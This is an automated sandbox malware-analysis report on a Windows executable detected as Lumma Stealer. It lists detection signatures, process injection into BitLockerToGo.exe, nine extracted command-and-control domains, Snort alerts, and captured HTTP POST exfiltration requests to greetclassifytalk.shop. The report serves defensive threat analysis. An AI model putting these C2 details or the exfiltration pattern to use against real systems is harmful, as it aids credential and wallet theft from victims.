Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1435438
MD5:	e04cdcb33735437ae84e00dd308fa527
SHA1:	f0252f8a571ccb35de4b407f28bbc04627e3237b
SHA256:	8640a33799d7774932b0a197183a2051ef417b57e290b0d1aa32929c02a45393
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7436 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E04CDCB33735437AE84E00DD308FA527)

BitLockerToGo.exe (PID: 7688 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "greetclassifytalk.shop"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: BitLockerToGo.exe PID: 7688	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7688	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	05/02/24-17:58:17.045554
SID:	2052037
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	05/02/24-17:58:24.101749
SID:	2052037
Source Port:	49742
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/02/24-17:58:16.141641
SID:	2052028
Source Port:	49831
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	05/02/24-17:58:22.145210
SID:	2052037
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	05/02/24-17:58:16.342531
SID:	2052037
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	05/02/24-17:58:21.230919
SID:	2052037
Source Port:	49740
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	05/02/24-17:58:25.205454
SID:	2052037
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	05/02/24-17:58:20.405974
SID:	2052037
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.21.51.78

Timestamp:	05/02/24-17:58:19.442158
SID:	2052037
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://greetclassifytalk.shop/api

Avira URL Cloud: Label: malware

Found malware configuration

Source: 2.2.BitLockerToGo.exe.b40000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "greetclassifytalk.shop"]}

Multi AV Scanner detection for domain / URL

Source: https://greetclassifytalk.shop/api

Virustotal: Detection: 13%

Perma Link

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00B56682 CryptUnprotectData,

2_2_00B56682

Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000002.1820175957.000000C00010E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1820175957.000000C0001FC000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1817870067.000001C87F090000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000002.1820175957.000000C00010E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1820175957.000000C0001FC000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1817870067.000001C87F090000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	2_2_00B64478
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	2_2_00B64478
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], CCC8066Ah	2_2_00B7C461
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 5C3924FCh	2_2_00B7C615
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_00B7E8D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	2_2_00B679F5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00B66948
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00B750A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_00B7E09F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000090h]	2_2_00B53038
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00B67059
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea eax, dword ptr [edi+04h]	2_2_00B6213D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	2_2_00B6213D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esi]	2_2_00B7D265
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_00B5D35E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	2_2_00B5D35E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_00B7D48A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_00B7D4E8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_00B7C436
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	2_2_00B68410
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+20h], 00000000h	2_2_00B51419
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then inc ebx	2_2_00B55470
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], CCC8066Ah	2_2_00B7C571
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+0Ch]	2_2_00B7C571
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+0Ch]	2_2_00B5757A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ecx+01h], 00000000h	2_2_00B5757A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	2_2_00B56555
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esi+04h]	2_2_00B626BD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_00B4D650
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_00B42650
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	2_2_00B497F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	2_2_00B557D5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esi+04h]	2_2_00B62760
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00B658B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [00B87EE8h]	2_2_00B64982
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	2_2_00B7A930
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+7Ch], ecx	2_2_00B66953
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00B57ABA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_00B7EAF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+ecx*8], FB49C974h	2_2_00B79A20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, cx	2_2_00B68A13
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_00B5DB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 9EDBE8FEh	2_2_00B5DB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, eax	2_2_00B5DDC7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000090h]	2_2_00B54D32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	2_2_00B56D57
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	2_2_00B7DEB1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	2_2_00B7DE9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	2_2_00B51E13
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp+0Ch]	2_2_00B4FE47
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, ch	2_2_00B7DFE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+14h]	2_2_00B56F3B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, eax	2_2_00B5DF3A

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052028 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop) 192.168.2.4:49831 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49736 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49737 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49738 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49739 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49740 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49741 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49742 -> 104.21.51.78:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49743 -> 104.21.51.78:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: boredimperissvieos.shop
Source: Malware configuration extractor	URLs: holicisticscrarws.shop
Source: Malware configuration extractor	URLs: sweetsquarediaslw.shop
Source: Malware configuration extractor	URLs: plaintediousidowsko.shop
Source: Malware configuration extractor	URLs: miniaturefinerninewjs.shop
Source: Malware configuration extractor	URLs: zippyfinickysofwps.shop
Source: Malware configuration extractor	URLs: obsceneclassyjuwks.shop
Source: Malware configuration extractor	URLs: acceptabledcooeprs.shop
Source: Malware configuration extractor	URLs: greetclassifytalk.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18170Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8791Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20444Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7091Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1426Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 589203Host: greetclassifytalk.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: greetclassifytalk.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: greetclassifytalk.shop

Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1869650259.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe	String found in binary or memory: https://api.midtrans.cominvalid
Source: file.exe	String found in binary or memory: https://api.sandbox.midtrans.comtimestamp
Source: BitLockerToGo.exe, 00000002.00000003.1877928350.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000002.00000003.1877928350.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe	String found in binary or memory: https://fastcopy.jp
Source: file.exe	String found in binary or memory: https://fastcopy.jpF
Source: BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1898840604.0000000005362000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926277299.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/
Source: BitLockerToGo.exe, 00000002.00000003.1835896687.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836017932.0000000002F6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/K
